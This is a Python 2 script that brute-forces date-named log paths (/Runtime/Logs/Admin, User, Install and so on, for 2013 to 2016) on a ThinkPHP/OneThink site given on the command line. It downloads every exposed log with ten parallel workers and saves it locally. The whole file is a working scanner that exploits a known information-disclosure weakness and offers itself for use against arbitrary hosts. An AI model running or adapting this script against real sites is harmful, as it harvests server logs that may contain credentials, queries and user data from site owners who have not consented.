#coding:utf8
import requests
import multiprocessing
import os
import sys
reload(sys)
sys.getdefaultencoding()  
sys.setdefaultencoding('utf-8')

def setplayload(host):
    year=['13','14','15','16']
    month=['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12']
    day=['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31']
    models=['','Admin','Home','User','Install']
    
    playload=[]
    temp=[]
    for mo in models:
        for y in year:
            tempy=y
            for m in month:
                tempm=m
                for d in day:
                    temp.append(host+'/Runtime/Logs/'+mo+'/'+tempy+'_'+tempm+'_'+d+'.log')
                    
    return temp
def getlog(url):

    file='./'
    sp=url.split('//')
    #print sp
    baselogpath=file+"\\"+sp[1]
    #print baselogpath
    if not os.path.exists(file+"\\"+sp[1]):
       os.makedirs(file+"\\"+sp[1])
    try:
        r=requests.get(url,timeout=15)
        html=r.text
        if r.status_code == 200 and html[0]=='[':
            filename='+'.join(sp[1:])
            filename=filename.replace(r'/','+')
            logfile=open(baselogpath+'\\'+filename,'w')
            #print baselogpath+'\\'+filename
            logfile.write(html)
            logfile.close()
            print '[+] :'+url
        else :
            print '[-] :'+url
    except Exception,ex:
        print  '[-] :'+url,ex


    

if __name__ == '__main__':
    
    if len(sys.argv)!=2:
        print """
                python getlog.py    http://www.onethink.cn
        """
    else:
        host=sys.argv[1]
        host=host if host[-1]=="/" else host+"/"
        playloads=setplayload(host)

        pool=multiprocessing.Pool(processes = 10)  
        for pl in playloads:
            pool.apply_async(getlog, (pl, ))
        pool.close()
        pool.join()